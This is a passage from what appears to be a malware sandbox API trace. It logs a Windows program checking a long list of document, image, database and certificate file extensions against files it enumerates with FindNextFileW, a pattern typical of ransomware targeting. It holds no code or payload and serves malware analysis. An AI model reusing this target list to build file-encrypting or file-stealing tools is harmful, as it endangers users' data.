(lpString=".asp") returned 4 [0183.511] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".aspx") returned 5 [0183.511] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.511] lstrlenW (lpString=".asr") returned 4 [0183.511] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".asx") returned 4 [0183.511] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.511] lstrlenW (lpString=".avi") returned 4 [0183.512] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.512] lstrlenW (lpString=".avs") returned 4 [0183.512] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.512] lstrlenW (lpString=".backup") returned 7 [0183.512] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.512] lstrlenW (lpString=".bak") returned 4 [0183.512] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.512] lstrlenW (lpString=".bay") returned 4 [0183.512] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.512] lstrlenW (lpString=".bd") returned 3 [0183.512] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.512] lstrlenW (lpString=".bin") returned 4 [0183.512] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.512] lstrlenW (lpString=".bmp") returned 4 [0183.512] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.512] lstrlenW (lpString=".bz2") returned 4 [0183.512] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.512] lstrlenW (lpString=".c") returned 2 [0183.512] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.512] lstrlenW (lpString=".cdr") returned 4 [0183.512] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.512] lstrlenW (lpString=".cer") returned 4 [0183.512] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.512] lstrlenW (lpString=".cf") returned 3 [0183.512] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.512] lstrlenW (lpString=".cfc") returned 4 [0183.512] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.512] lstrlenW (lpString=".cfm") returned 4 [0183.512] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.512] lstrlenW (lpString=".cfml") returned 5 [0183.512] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.513] lstrlenW (lpString=".cfu") returned 4 [0183.513] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".chm") returned 4 [0183.513] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".cin") returned 4 [0183.513] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".class") returned 6 [0183.513] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.513] lstrlenW (lpString=".clx") returned 4 [0183.513] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".config") returned 7 [0183.513] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.513] lstrlenW (lpString=".cpp") returned 4 [0183.513] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".cr2") returned 4 [0183.513] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".crt") returned 4 [0183.513] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".crw") returned 4 [0183.513] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".cs") returned 3 [0183.513] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.513] lstrlenW (lpString=".css") returned 4 [0183.513] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".csv") returned 4 [0183.513] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".cub") returned 4 [0183.513] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".dae") returned 4 [0183.513] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".dat") returned 4 [0183.513] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.513] lstrlenW (lpString=".db") returned 3 [0183.513] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.514] lstrlenW (lpString=".dbf") returned 4 [0183.514] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".dbx") returned 4 [0183.514] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".dc3") returned 4 [0183.514] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".dcm") returned 4 [0183.514] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".dcr") returned 4 [0183.514] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".der") returned 4 [0183.514] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".dib") returned 4 [0183.514] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".dic") returned 4 [0183.514] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".dif") returned 4 [0183.514] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".divx") returned 5 [0183.514] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.514] lstrlenW (lpString=".djvu") returned 5 [0183.514] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.514] lstrlenW (lpString=".dng") returned 4 [0183.514] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".doc") returned 4 [0183.514] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".docm") returned 5 [0183.514] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.514] lstrlenW (lpString=".docx") returned 5 [0183.514] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.514] lstrlenW (lpString=".dot") returned 4 [0183.514] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.514] lstrlenW (lpString=".dotm") returned 5 [0183.514] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.515] lstrlenW (lpString=".dotx") returned 5 [0183.515] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.515] lstrlenW (lpString=".dpx") returned 4 [0183.515] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".dqy") returned 4 [0183.515] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".dsn") returned 4 [0183.515] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".dt") returned 3 [0183.515] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.515] lstrlenW (lpString=".dtd") returned 4 [0183.515] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".dwg") returned 4 [0183.515] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".dwt") returned 4 [0183.515] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".dx") returned 3 [0183.515] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.515] lstrlenW (lpString=".dxf") returned 4 [0183.515] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".edml") returned 5 [0183.515] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.515] lstrlenW (lpString=".efd") returned 4 [0183.515] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".elf") returned 4 [0183.515] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".emf") returned 4 [0183.515] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".emz") returned 4 [0183.515] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".epf") returned 4 [0183.515] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.515] lstrlenW (lpString=".eps") returned 4 [0183.516] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.516] lstrlenW (lpString=".epsf") returned 5 [0183.516] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.516] lstrlenW (lpString=".epsp") returned 5 [0183.516] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.516] lstrlenW (lpString=".erf") returned 4 [0183.516] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.516] lstrlenW (lpString=".exr") returned 4 [0183.516] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.516] lstrlenW (lpString=".f4v") returned 4 [0183.516] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.529] lstrlenW (lpString=".fido") returned 5 [0183.529] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.529] lstrlenW (lpString=".flm") returned 4 [0183.529] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.529] lstrlenW (lpString=".flv") returned 4 [0183.529] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.529] lstrlenW (lpString=".frm") returned 4 [0183.529] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.529] lstrlenW (lpString=".fxg") returned 4 [0183.529] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.529] lstrlenW (lpString=".geo") returned 4 [0183.529] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.529] lstrlenW (lpString=".gif") returned 4 [0183.529] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.529] lstrlenW (lpString=".grs") returned 4 [0183.529] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.529] lstrlenW (lpString=".gz") returned 3 [0183.529] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.529] lstrlenW (lpString=".h") returned 2 [0183.529] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.529] lstrlenW (lpString=".hdr") returned 4 [0183.530] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".hpp") returned 4 [0183.530] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".hta") returned 4 [0183.530] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".htc") returned 4 [0183.530] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".htm") returned 4 [0183.530] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".html") returned 5 [0183.530] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0183.530] lstrlenW (lpString=".icb") returned 4 [0183.530] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".ics") returned 4 [0183.530] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".iff") returned 4 [0183.530] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".inc") returned 4 [0183.530] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".indd") returned 5 [0183.530] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0183.530] lstrlenW (lpString=".ini") returned 4 [0183.530] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".iqy") returned 4 [0183.530] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".j2c") returned 4 [0183.530] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0183.530] lstrlenW (lpString=".j2k") returned 4 [0183.530] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".java") returned 5 [0183.531] lstrcmpiW (lpString1=".java", lpString2="e.xml") returned -1 [0183.531] lstrlenW (lpString=".jp2") returned 4 [0183.531] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".jpc") returned 4 [0183.531] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".jpe") returned 4 [0183.531] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".jpeg") returned 5 [0183.531] lstrcmpiW (lpString1=".jpeg", lpString2="e.xml") returned -1 [0183.531] lstrlenW (lpString=".jpf") returned 4 [0183.531] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".jpg") returned 4 [0183.531] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".jpx") returned 4 [0183.531] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".js") returned 3 [0183.531] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0183.531] lstrlenW (lpString=".jsf") returned 4 [0183.531] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".json") returned 5 [0183.531] lstrcmpiW (lpString1=".json", lpString2="e.xml") returned -1 [0183.531] lstrlenW (lpString=".jsp") returned 4 [0183.531] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".kdc") returned 4 [0183.531] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".kmz") returned 4 [0183.531] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".kwm") returned 4 [0183.531] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0183.531] lstrlenW (lpString=".lasso") returned 6 [0183.531] lstrcmpiW (lpString1=".lasso", lpString2="de.xml") returned -1 [0183.531] lstrlenW (lpString=".lbi") returned 4 [0183.531] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0183.532] lstrlenW (lpString=".lgf") returned 4 [0183.532] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0183.532] lstrlenW (lpString=".lgp") returned 4 [0183.532] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0183.532] lstrlenW (lpString=".log") returned 4 [0183.532] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0183.532] lstrlenW (lpString=".m1v") returned 4 [0183.532] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0183.532] lstrlenW (lpString=".m4a") returned 4 [0183.532] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0183.532] lstrlenW (lpString=".m4v") returned 4 [0183.532] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0183.532] lstrlenW (lpString=".max") returned 4 [0183.532] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0183.532] lstrlenW (lpString=".md") returned 3 [0183.532] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0183.532] lstrlenW (lpString=".mda") returned 4 [0183.532] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0183.532] lstrlenW (lpString=".mdb") returned 4 [0183.532] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0183.532] lstrlenW (lpString=".mde") returned 4 [0183.532] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mdf") returned 4 [0183.533] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mdw") returned 4 [0183.533] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mef") returned 4 [0183.533] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mft") returned 4 [0183.533] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mfw") returned 4 [0183.533] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mht") returned 4 [0183.533] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mhtml") returned 6 [0183.533] lstrcmpiW (lpString1=".mhtml", lpString2="de.xml") returned -1 [0183.533] lstrlenW (lpString=".mka") returned 4 [0183.533] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mkidx") returned 6 [0183.533] lstrcmpiW (lpString1=".mkidx", lpString2="de.xml") returned -1 [0183.533] lstrlenW (lpString=".mkv") returned 4 [0183.533] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mos") returned 4 [0183.533] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mov") returned 4 [0183.533] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mp3") returned 4 [0183.533] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mp4") returned 4 [0183.533] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mpeg") returned 5 [0183.533] lstrcmpiW (lpString1=".mpeg", lpString2="e.xml") returned -1 [0183.533] lstrlenW (lpString=".mpg") returned 4 [0183.533] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0183.533] lstrlenW (lpString=".mpv") returned 4 [0183.534] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0183.534] lstrlenW (lpString=".mrw") returned 4 [0183.534] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0183.534] lstrlenW (lpString=".msg") returned 4 [0183.534] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0183.534] lstrlenW (lpString=".mxl") returned 4 [0183.534] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0183.534] lstrlenW (lpString=".myd") returned 4 [0183.534] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0183.534] lstrlenW (lpString=".myi") returned 4 [0183.534] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0184.120] lstrlenW (lpString=".nef") returned 4 [0184.120] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0184.120] lstrlenW (lpString=".nrw") returned 4 [0184.120] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0184.120] lstrlenW (lpString=".obj") returned 4 [0184.120] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0184.120] lstrlenW (lpString=".odb") returned 4 [0184.120] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0184.120] lstrlenW (lpString=".odc") returned 4 [0184.121] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0184.121] lstrlenW (lpString=".odm") returned 4 [0184.122] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".odp") returned 4 [0184.122] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".ods") returned 4 [0184.122] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".oft") returned 4 [0184.122] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".one") returned 4 [0184.122] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".onepkg") returned 7 [0184.122] lstrcmpiW (lpString1=".onepkg", lpString2="ade.xml") returned -1 [0184.122] lstrlenW (lpString=".onetoc2") returned 8 [0184.122] lstrcmpiW (lpString1=".onetoc2", lpString2="rade.xml") returned -1 [0184.122] lstrlenW (lpString=".opt") returned 4 [0184.122] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".oqy") returned 4 [0184.122] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".orf") returned 4 [0184.122] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".p12") returned 4 [0184.122] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".p7b") returned 4 [0184.122] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".p7c") returned 4 [0184.122] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".pam") returned 4 [0184.122] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0184.122] lstrlenW (lpString=".pbm") returned 4 [0184.122] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".pct") returned 4 [0184.123] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".pcx") returned 4 [0184.123] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".pdd") returned 4 [0184.123] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".pdf") returned 4 [0184.123] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".pdp") returned 4 [0184.123] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".pef") returned 4 [0184.123] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".pem") returned 4 [0184.123] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".pff") returned 4 [0184.123] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".pfm") returned 4 [0184.123] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".pfx") returned 4 [0184.123] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".pgm") returned 4 [0184.123] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".php") returned 4 [0184.123] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0184.123] lstrlenW (lpString=".php3") returned 5 [0184.123] lstrcmpiW (lpString1=".php3", lpString2="e.xml") returned -1 [0184.123] lstrlenW (lpString=".php4") returned 5 [0184.123] lstrcmpiW (lpString1=".php4", lpString2="e.xml") returned -1 [0184.123] lstrlenW (lpString=".php5") returned 5 [0184.124] lstrcmpiW (lpString1=".php5", lpString2="e.xml") returned -1 [0184.124] lstrlenW (lpString=".phtml") returned 6 [0184.124] lstrcmpiW (lpString1=".phtml", lpString2="de.xml") returned -1 [0184.124] lstrlenW (lpString=".pict") returned 5 [0184.124] lstrcmpiW (lpString1=".pict", lpString2="e.xml") returned -1 [0184.124] lstrlenW (lpString=".pl") returned 3 [0184.124] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0184.124] lstrlenW (lpString=".pls") returned 4 [0184.124] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0184.124] lstrlenW (lpString=".pm") returned 3 [0184.124] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0184.124] lstrlenW (lpString=".png") returned 4 [0184.124] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0184.124] lstrlenW (lpString=".pnm") returned 4 [0184.124] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0184.124] lstrlenW (lpString=".pot") returned 4 [0184.124] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0184.124] lstrlenW (lpString=".potm") returned 5 [0184.124] lstrcmpiW (lpString1=".potm", lpString2="e.xml") returned -1 [0184.124] lstrlenW (lpString=".potx") returned 5 [0184.124] lstrcmpiW (lpString1=".potx", lpString2="e.xml") returned -1 [0184.124] lstrlenW (lpString=".ppa") returned 4 [0184.124] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0184.124] lstrlenW (lpString=".ppam") returned 5 [0184.124] lstrcmpiW (lpString1=".ppam", lpString2="e.xml") returned -1 [0184.124] lstrlenW (lpString=".ppm") returned 4 [0184.124] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0184.124] lstrlenW (lpString=".pps") returned 4 [0184.124] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0184.125] lstrlenW (lpString=".ppsm") returned 5 [0184.125] lstrcmpiW (lpString1=".ppsm", lpString2="e.xml") returned -1 [0184.125] lstrlenW (lpString=".ppt") returned 4 [0184.125] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0184.125] lstrlenW (lpString=".pptm") returned 5 [0184.125] lstrcmpiW (lpString1=".pptm", lpString2="e.xml") returned -1 [0184.125] lstrlenW (lpString=".pptx") returned 5 [0184.125] lstrcmpiW (lpString1=".pptx", lpString2="e.xml") returned -1 [0184.125] lstrlenW (lpString=".prn") returned 4 [0184.125] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0184.125] lstrlenW (lpString=".ps") returned 3 [0184.125] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0184.125] lstrlenW (lpString=".psb") returned 4 [0184.125] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0184.125] lstrlenW (lpString=".psd") returned 4 [0184.125] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0184.125] lstrlenW (lpString=".pst") returned 4 [0184.125] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0184.125] lstrlenW (lpString=".ptx") returned 4 [0184.125] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0184.125] lstrlenW (lpString=".pub") returned 4 [0184.125] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0184.125] lstrlenW (lpString=".pwm") returned 4 [0184.125] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0184.125] lstrlenW (lpString=".pxr") returned 4 [0184.125] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0184.125] lstrlenW (lpString=".py") returned 3 [0184.125] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0184.125] lstrlenW (lpString=".qt") returned 3 [0184.126] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0184.126] lstrlenW (lpString=".r3d") returned 4 [0184.126] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0184.126] lstrlenW (lpString=".raf") returned 4 [0184.126] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0184.126] lstrlenW (lpString=".rar") returned 4 [0184.126] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0184.126] lstrlenW (lpString=".raw") returned 4 [0184.126] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0184.126] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebee9e0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebee9e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.126] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.126] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, 